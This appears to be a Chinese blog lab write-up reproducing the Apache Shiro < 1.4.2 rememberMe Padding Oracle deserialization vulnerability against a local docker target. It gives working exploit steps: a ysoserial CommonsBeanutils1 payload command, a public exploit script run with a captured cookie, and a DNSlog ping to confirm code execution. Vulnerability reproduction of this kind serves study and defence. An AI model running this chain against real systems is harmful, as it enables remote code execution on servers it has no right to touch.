原理

Apache Shiro cookie中使用AES-128-CBC模式加密的rememberMe字段存在问题,用户可通过Padding Oracle加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。

影响版本

Apache Shiro < 1.4.2

漏洞复现

攻击机:192.168.112.1
靶机:192.168.112.137:5001
1.靶机环境搭建

用docker拉取靶机镜像

docker pull medicean/vulapps:s_shiro_1

创建启动靶机容器

docker run -d -p 5001:8080 medicean/vulapps:s_shiro_1
注:5001为外部映射端口,可自定义

2.漏洞检测利用
使用正确的用户和密码,勾选rememberMe,使用burp代理,获取返回的rememberMe值
9.jpg
使用DNSlog获取临时域名,使用ysoserial工具生成payload

java -jar ysoserial.jar CommonsBeanutils1 "ping rmd49d.dnslog.cn" > payload.class

使用刚才burp获取到的rememberMe值作为prefix,加载Payload,进行Padding Oracle攻击
Github:https://github.com/wuppp/shiro_rce_exp
通过Padding Oracle Attack生成Evil Rememberme cookie

python2 shiro_exp.py http://192.168.112.137:5001/account/ dn02+4V8ELKMLgay8k17HfDtU6eHyvqELqEebUmq5911xfqV2+GsXLDNAgG7qPJc1tQypjGVo/AVhJb5qwhe3vH5LBlqT5GLhz6STPMzvLaFG0xQBCNXsTfRgmBm0K2ZDO5SKW7sgFHmB91ayfrofoifYA5hH3CHYmEtZ7SqH1xEXH4/VT6NBe0h9akLvLyyVqPWkYD4Dv8NGA2EamH1vGSF72f3bEtO/9uBwqF69WVP1PhGB+1fZ7DMtBSsF8YvQkx8DbILhbX+jzItYfllnB/F1GfTPa/lCNTDiOcANaajJfB1i9qacQZvKEGXMeWG4Hx5oaRYm2lvgP/0TrohSJLXPyh1tEJTszxS9hdDhXb6QugkPC57jwT/T4aabZIJs4b05P3Ez+sdOGPtWA4QkxUmfUipigA/KuE1uJ2INRIm3YZlNR1sQ6H64YgJpFu5CrpoCLh2lGBP7Ip8IKeXPwDQpMi8E5gnCBVYBxBUNJ6cs4Y2h+iDpeu/mjAEgkJX payload.class

注意:爆破时间较长(一小时左右),payload长度决定爆破速度快慢。
183419.jpg
爆破成功,返回cookie。
再次访问http://192.168.112.137:5001/,用burp抓包,添加刚才爆破出的remeberMe值
3658.jpg
http://www.dnslog.cn/查看,返回IP
3854.jpg
说明执行ping命令成功。

最后修改:2021 年 10 月 28 日 03 : 51 PM
如果觉得我的文章对你有用,请随意赞赏